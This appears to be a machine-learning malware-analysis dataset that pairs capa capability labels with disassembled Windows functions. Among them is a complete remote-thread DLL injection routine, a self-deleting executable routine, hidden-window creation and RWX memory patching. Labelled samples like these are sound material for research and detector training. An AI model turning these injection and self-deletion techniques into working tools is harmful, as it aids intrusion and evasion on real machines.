joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022620
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 7
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x10022692
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x10022692
mov eax, dword [ebp - 4]
xor ecx, ecx
push esi
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10025e1e
pop ecx
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 7
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
setne bl
test bl, bl
je 0x1002268a
push esi
call fcn.10003e62
pop ecx
mov ecx, dword [ebp + 8]
push eax
push esi
call fcn.10003d32
push esi
call fcn.1002ab36
pop ecx
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100226c5
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 8
jb 0x100226d3
mov eax, dword [eax]
push ebx
xor ecx, ecx
xor ebx, ebx
push ecx
push ecx
push 3
push ecx
inc ebx
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
test eax, eax
je 0x100226fe
cmp eax, 0xffffffff
je 0x100226fe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov byte [eax], bl
jmp 0x10022714
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
sete bl
test bl, bl
je 0x10022714
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
mov al, bl
pop ebx
pop ebp
ret

Function at 0x10022719
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor ecx, ecx
mov edi, eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10025e1e
mov esi, eax
pop ecx
test edi, edi
je 0x10022768
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [edi - 1]
cmp eax, ecx
jne 0x10022768
push esi
call fcn.10003e62
pop ecx
mov ecx, dword [ebp + 8]
push eax
push esi
call fcn.10003d32
mov bl, 1
push esi
call fcn.1002ab36
pop ecx
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x100230e9
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
xor ebx, ebx
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1002314d
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x1c
push eax
push esi
call sub.KERNEL32.dll_Thread32First
test eax, eax
setne bl
test bl, bl
je 0x10023146
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x1002312b
mov eax, dword [edi]
cmp eax, dword [ebp - 0x10]
jne 0x10023137
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.10023348
lea eax, [ebp - 0x1c]
push eax
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10023120
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023155
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push dword [eax]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10023185
cmp esi, 0xffffffff
je 0x10023185
push esi
mov bl, 1
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x1002318b
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push dword [eax]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100231bb
cmp esi, 0xffffffff
je 0x100231bb
push esi
mov bl, 1
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x100231c1
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push dword [eax]
inc ebx
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100231f5
cmp esi, 0xffffffff
je 0x100231f5
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100231f7
xor bl, bl
pop esi
mov al, bl
pop ebx
pop ebp
ret
Function at 0x100234c3
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
mov eax, 0x10045a0d
call fcn.10029f1c
sub esp, 0x8c
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x18]
and dword [ebp - 0x18], 0
push ebx
push 1
push dword [ebp + 0xc]
xor bl, bl
push eax
call fcn.100233a4
add esp, 0xc
test al, al
je 0x10023698
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push 0
push dword [ebp - 0x18]
call sub.WTSAPI32.dll_WTSEnumerateProcessesW
test eax, eax
setne bl
test bl, bl
je 0x1002368f
push edi
xor edi, edi
cmp dword [ebp - 0x14], edi
jbe 0x10023686
push esi
xor esi, esi
mov ecx, dword [ebp - 0x10]
mov eax, dword [esi + ecx]
mov dword [ebp - 0x50], eax
mov eax, dword [esi + ecx + 4]
mov dword [ebp - 0x4c], eax
push dword [esi + ecx + 8]
lea ecx, [ebp - 0x48]
call fcn.10003846
push 7
pop edx
xor ecx, ecx
mov dword [ebp - 0x1c], edx
xor eax, eax
mov dword [ebp - 0x20], ecx
mov word [ebp - 0x30], ax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], ecx
mov word [ebp - 0x80], ax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], ecx
mov word [ebp - 0x68], ax
push ecx
push dword [ebp + 0xc]
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x80]
push eax
mov eax, dword [ebp - 0x10]
push dword [esi + eax + 0xc]
call fcn.10021974
add esp, 0x14
test al, al
je 0x100235bd
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x30]
call fcn.10003c4f
push 0x5c
lea ecx, [ebp - 0x30]
call fcn.10021c83
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x30]
call fcn.100063c6
jmp 0x10023648
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x10]
push dword [esi + eax + 0xc]
call fcn.100218ce
pop ecx
pop ecx
test al, al
jne 0x10023648
mov eax, dword [ebp - 0x10]
cmp dword [esi + eax + 0xc], 0
je 0x1002362f
push str.erreur_SID__
call fcn.10003e62
pop ecx
push eax
push str.erreur_SID__
lea ecx, [ebp - 0x30]
call fcn.10003d32
push 0
lea eax, [ebp - 0x98]
push 1
push eax
call fcn.10022435
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.100063c6
push 0
push 1
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 2
call fcn.10003be3
jmp 0x10023648
push str.n.a.
call fcn.10003e62
pop ecx
push eax
push str.n.a.
lea ecx, [ebp - 0x30]
call fcn.10003d32
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x50]
push eax
call fcn.10023a93
push 0
push 1
lea ecx, [ebp - 0x68]
call fcn.10003be3
push 0
push 1
lea ecx, [ebp - 0x80]
call fcn.10003be3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.1001d936
inc edi
add esi, 0x10
cmp edi, dword [ebp - 0x14]
jb 0x10023527
pop esi
push dword [ebp - 0x10]
call sub.WTSAPI32.dll_WTSFreeMemory
pop edi
push dword [ebp - 0x18]
call fcn.100233ec
pop ecx
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1002526a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x18
push 0x1005bc10
call fcn.1002dd20
xor esi, esi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x10025286
xor eax, eax
jmp 0x1002531a
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
add eax, edi
mov dword [ebp + 8], eax
mov edx, dword [ebx + 0x20]
add edx, edi
mov dword [ebp - 0x20], edx
mov ecx, dword [ebx + 0x24]
add ecx, edi
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0xc]
test ecx, 0xffff0000
jne 0x100252c3
movzx eax, cx
sub eax, dword [ebx + 0x10]
jmp 0x100252ea
mov ebx, dword [ebx + 0x18]
mov dword [ebp - 0x28], ebx
mov eax, ebx
dec ebx
mov dword [ebp - 0x28], ebx
test eax, eax
je 0x10025314
mov eax, dword [edx]
add eax, edi
push ecx
push eax
call fcn.1002dc90
pop ecx
pop ecx
test eax, eax
mov eax, dword [ebp - 0x1c]
jne 0x100252f4
movzx eax, word [eax]
mov esi, dword [ebp + 8]
mov esi, dword [esi + eax*4]
add esi, edi
jmp 0x10025311
mov edx, dword [ebp - 0x20]
add edx, 4
mov dword [ebp - 0x20], edx
add eax, 2
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
jmp 0x100252c9
mov dword [ebp - 0x24], esi
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.1002dd5b
ret 8
Function at 0x1003f042
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005e738]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [0x1005f830]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10030044
mov dword [ebp - 0x14], eax
cmp dword [0x100615a4], esi
jne 0x1003f135
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1003f0c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1003f215
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1003f215
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1003f215
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x100615a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x100615a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x100615ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100615b4], eax
test eax, eax
je 0x1003f132
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x100615b0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1003f15a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1003f14d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1003f16f
push 4
pop eax
jmp 0x1003f217
cmp dword [ebp - 0x14], esi
je 0x1003f16f
push dword [0x100615a4]
call dword [0x1005f834]
push 3
jmp 0x1003f154
mov eax, dword [0x100615b0]
mov ebx, dword [0x1005f834]
cmp eax, edi
je 0x1003f1cd
cmp dword [0x100615b4], edi
je 0x1003f1cd
push eax
call ebx
push dword [0x100615b4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1003f1cd
test eax, eax
je 0x1003f1cd
call ecx
test eax, eax
je 0x1003f1c2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1003f1c2
test byte [ebp - 8], 1
jne 0x1003f1cd
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1003f1fd
mov eax, dword [0x100615a8]
cmp eax, edi
je 0x1003f1fa
push eax
call ebx
test eax, eax
je 0x1003f1fa
call eax
mov esi, eax
test esi, esi
je 0x1003f1fa
mov eax, dword [0x100615ac]
cmp eax, edi
je 0x1003f1fa
push eax
call ebx
test eax, eax
je 0x1003f1fa
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x100615a4]
call ebx
test eax, eax
je 0x1003f215
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1003f217
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002e09b
mov esp, ebp
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xfe1100
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0xfe5042], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0xfe5228
push 0xfe5290
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0xfe114b
xor eax, eax
jmp 0xfe1166
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x68cc12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x68cc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x68cc1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x68cc132c
mov eax, 1
jmp 0x68cc1331
mov eax, 0
leave
ret
Function at 0x68cc1759
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x68cc1852
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x68cc18b5
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68cc1977
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x68cc18ea
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68cc1977
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x68cc1914
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68cc1977
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x68cc195b
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x68cc1977
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x68cc1b5d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x68cc1ef0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x68cc603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x68cc6034]
sub esp, 4
test ebx, ebx
je 0x68cc1f3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x68cc1f34
test esi, esi
je 0x68cc1f34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x68cc1f10
mov dword [esp], 0x68cc603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x68cc2120
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x68cc4208
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x68cc2170
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x68cc2248
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x68cc21ae
cmp eax, 4
jne 0x68cc21d0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x68cc21be
cmp edx, 4
je 0x68cc21be
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.68cc2120
Function at 0x70001cd0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
lea eax, [0x7002bce8]
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x1c], 0xf
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x18], edx
mov dword [esp], eax
mov dword [esp + 8], ecx
call fcn.700016b0
mov word [esp + 0x26], 0x4e91
mov ecx, dword [esp + 0x18]
add ecx, eax
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
mov word [esp + 0x12], 0x2790
mov ecx, dword [esp + 8]
cmp eax, ecx
je 0x70001d59
lea eax, [esp + 0x26]
mov ecx, dword [0x7002bce4]
mov dx, word [esp + 0x26]
mov si, ax
sub si, dx
mov dword [esp], ecx
mov word [esp + 6], si
call fcn.70001ca0
mov dx, word [esp + 6]
mov word [esp + 0x26], dx
mov dword [esp + 0xc], eax
lea eax, [esp + 0x12]
lea ecx, [esp + 0x26]
mov dx, 0
sub dx, word [esp + 0x12]
mov esi, dword [esp + 0xc]
mov di, word [esp + 0x26]
mov bx, cx
mov bp, word [esp + 0x12]
and bp, ax
mov word [esp + 0x12], bp
or di, bx
mov word [esp + 0x26], di
mov word [esp + 0x12], dx
mov eax, esi
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x70003d60
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x70]
mov dword [esp + 0x28], 1
mov dword [esp + 0x54], 0
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x30]
and esi, 0
mov dword [esp + 0x30], esi
mov esi, dword [esp + 0x30]
mov word [esp + 0x42], 0x4535
mov byte [esp + 0x3b], 0x7a
mov dword [esp + 0x58], ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x48], eax
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], esi
call fcn.70003080
mov ecx, 0
add ecx, 0x18
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
add eax, ecx
mov ecx, dword [esp + 0x3c]
mov di, word [ecx + 0x14]
mov dword [esp + 0x5c], 0
movzx ecx, di
add eax, ecx
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [esp + 0x3b], 0xfc
mov dl, byte [esp + 0x3b]
add dl, 0xd9
mov si, word [ecx + 6]
mov byte [esp + 0x3b], dl
movzx ecx, si
cmp eax, ecx
jge 0x70003eb6
lea eax, [esp + 0x42]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x50]
mov si, word [esp + 0x42]
mov di, ax
and si, di
mov di, word [esp + 0x42]
add di, 0x6082
mov word [esp + 0x42], si
add ecx, dword [edx + 0xc]
mov dword [esp + 0x4c], ecx
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x50]
mov edx, dword [edx + 0x14]
mov word [esp + 0x42], di
add ecx, edx
mov edx, dword [esp + 0x50]
mov edx, dword [edx + 0x10]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.70001570
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x18]
add eax, ecx
mov dx, word [esp + 0x42]
or dx, 0x10aa
mov word [esp + 0x42], dx
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x50]
add eax, 0x28
mov dword [esp + 0x50], eax
jmp 0x70003e02
lea eax, [esp + 0x42]
mov cl, byte [esp + 0x3b]
mov dl, al
mov si, word [esp + 0x42]
xor si, 0x289b
mov word [esp + 0x42], si
and cl, dl
mov byte [esp + 0x3b], cl
mov eax, dword [esp + 0x48]
mov edi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x3c]
mov ebx, dword [ebx + 0x54]
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
call fcn.70001570
mov dword [esp + 0xc], eax
add esp, 0x60
pop esi
pop edi
pop ebx
ret